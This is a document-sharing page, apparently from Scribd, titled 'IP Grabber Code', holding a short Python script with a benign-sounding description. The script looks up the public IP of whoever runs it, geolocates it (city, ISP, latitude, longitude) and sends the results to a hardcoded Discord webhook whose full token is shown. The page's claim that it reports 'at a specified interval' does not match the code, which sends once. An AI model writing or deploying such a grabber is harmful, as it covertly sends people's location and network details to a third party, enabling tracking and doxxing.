0% found this document useful (0 votes)
624 views

IP Grabber Code

This Python script sends an IP lookup report to a Discord webhook by embedding the results. It gets the local IP address, looks it up on a geo-location API, formats the response into an embed object with fields for each detail, and sends the embed to the webhook URL at a specified interval. The fields include information like IP, location, ISP, and other geolocation data.

Uploaded by

Kogaa
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
624 views

IP Grabber Code

This Python script sends an IP lookup report to a Discord webhook by embedding the results. It gets the local IP address, looks it up on a geo-location API, formats the response into an embed object with fields for each detail, and sends the embed to the webhook URL at a specified interval. The fields include information like IP, location, ISP, and other geolocation data.

Uploaded by

Kogaa
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

import requests

import json
from dhooks import Webhook, Embed
from datetime import datetime

hook =
Webhook("https://discord.com/api/webhooks/1145459778223607950/shkYV8iSbEcEgBveTySEq
Sgl9PbNwft9Clr9OTw2Cq3UFcFPabmaqJSCboc4gYNrJItw")

time = datetime.now().strftime("%H:%M %p")


ip = requests.get('https://api.ipify.org/').text

r = requests.get(f'http://extreme-ip-lookup.com/json/{ip}')
geo = r.json()
embed = Embed()
fields = [
{'name': 'IP', 'value': geo['query']},
{'name': 'ipType', 'value': geo['ipType']},
{'name': 'Country', 'value': geo['country']},
{'name': 'City', 'value': geo['city']},
{'name': 'Continent', 'value': geo['continent']},
{'name': 'Country', 'value': geo['country']},
{'name': 'IPName', 'value': geo['ipName']},
{'name': 'ISP', 'value': geo['isp']},
{'name': 'Latitute', 'value': geo['lat']},
{'name': 'Longitude', 'value': geo['lon']},
{'name': 'Org', 'value': geo['org']},
{'name': 'Region', 'value': geo['region']},
{'name': 'Status', 'value': geo['status']},
]
for field in fields:
if field['value']:
embed.add_field(name=field['name'], value=field['value'], inline=True)
hook.send(embed=embed)

You might also like